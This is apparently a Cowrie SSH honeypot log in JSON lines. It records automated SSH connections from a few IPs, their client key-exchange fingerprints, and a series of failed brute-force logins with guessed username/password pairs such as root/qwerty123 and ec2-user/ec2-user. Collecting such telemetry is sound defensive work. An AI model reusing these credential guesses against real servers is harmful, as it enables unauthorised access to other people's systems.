{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:21.858810Z","src_ip":"91.92.42.133","session":"94fb84a49a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:22.339012Z","src_ip":"91.92.40.171","session":"8c4175e7742f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:22.713475Z","src_ip":"91.92.42.133","session":"94fb84a49a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:23.759886Z","src_ip":"91.92.40.171","session":"8c4175e7742f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:23.849570Z","src_ip":"91.92.42.133","session":"94fb84a49a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35114,"dst_ip":"159.203.135.109","dst_port":22,"session":"832365162070","protocol":"ssh","message":"New connection: 91.92.40.171:35114 (159.203.135.109:22) [session: 832365162070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:28.660607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:28.696940Z","src_ip":"91.92.40.171","session":"832365162070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":32868,"dst_ip":"159.203.135.109","dst_port":22,"session":"3042fdd33d60","protocol":"ssh","message":"New connection: 91.92.42.133:32868 (159.203.135.109:22) [session: 3042fdd33d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:28.701646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:29.216099Z","src_ip":"91.92.42.133","session":"3042fdd33d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:29.220504Z","src_ip":"91.92.42.133","session":"3042fdd33d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:29.683696Z","src_ip":"91.92.40.171","session":"832365162070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:30.413651Z","src_ip":"91.92.42.133","session":"3042fdd33d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:31.679649Z","src_ip":"91.92.42.133","session":"3042fdd33d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":35044,"dst_ip":"159.203.135.109","dst_port":22,"session":"28f959bdd28f","protocol":"ssh","message":"New connection: 147.45.211.215:35044 (159.203.135.109:22) [session: 28f959bdd28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:31.746020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:31.750226Z","src_ip":"147.45.211.215","session":"28f959bdd28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:31.922235Z","src_ip":"147.45.211.215","session":"28f959bdd28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cobain","message":"login attempt [root/cobain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:32.437779Z","src_ip":"147.45.211.215","session":"28f959bdd28f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"0430796f2d13","protocol":"ssh","message":"New connection: 91.92.40.171:35170 (159.203.135.109:22) [session: 0430796f2d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:32.700689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:32.808691Z","src_ip":"91.92.40.171","session":"0430796f2d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:32.811950Z","src_ip":"91.92.40.171","session":"0430796f2d13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:33.559672Z","src_ip":"91.92.40.171","session":"0430796f2d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:33.609504Z","src_ip":"147.45.211.215","session":"28f959bdd28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:33.701550Z","src_ip":"91.92.40.171","session":"832365162070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:34.796463Z","src_ip":"91.92.40.171","session":"0430796f2d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:35.388410Z","src_ip":"91.92.40.171","session":"832365162070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36926,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb0e612c2767","protocol":"ssh","message":"New connection: 91.92.42.133:36926 (159.203.135.109:22) [session: fb0e612c2767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:36.126705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:36.354366Z","src_ip":"91.92.42.133","session":"fb0e612c2767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:36.372704Z","src_ip":"91.92.42.133","session":"fb0e612c2767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:37.532966Z","src_ip":"91.92.42.133","session":"fb0e612c2767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:38.930843Z","src_ip":"91.92.42.133","session":"fb0e612c2767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45420,"dst_ip":"159.203.135.109","dst_port":22,"session":"362415705c6a","protocol":"ssh","message":"New connection: 91.92.40.171:45420 (159.203.135.109:22) [session: 362415705c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:39.911471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:40.050296Z","src_ip":"91.92.40.171","session":"362415705c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:40.685226Z","src_ip":"91.92.40.171","session":"362415705c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37002,"dst_ip":"159.203.135.109","dst_port":22,"session":"296aeda6eedb","protocol":"ssh","message":"New connection: 91.92.42.133:37002 (159.203.135.109:22) [session: 296aeda6eedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:42.870941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:43.193293Z","src_ip":"91.92.42.133","session":"296aeda6eedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:43.196676Z","src_ip":"91.92.42.133","session":"296aeda6eedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45496,"dst_ip":"159.203.135.109","dst_port":22,"session":"e00daffd6dba","protocol":"ssh","message":"New connection: 91.92.40.171:45496 (159.203.135.109:22) [session: e00daffd6dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:44.157392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:44.179095Z","src_ip":"91.92.40.171","session":"e00daffd6dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:44.525275Z","src_ip":"91.92.40.171","session":"e00daffd6dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:44.924452Z","src_ip":"91.92.42.133","session":"296aeda6eedb","protocol":"ssh"}
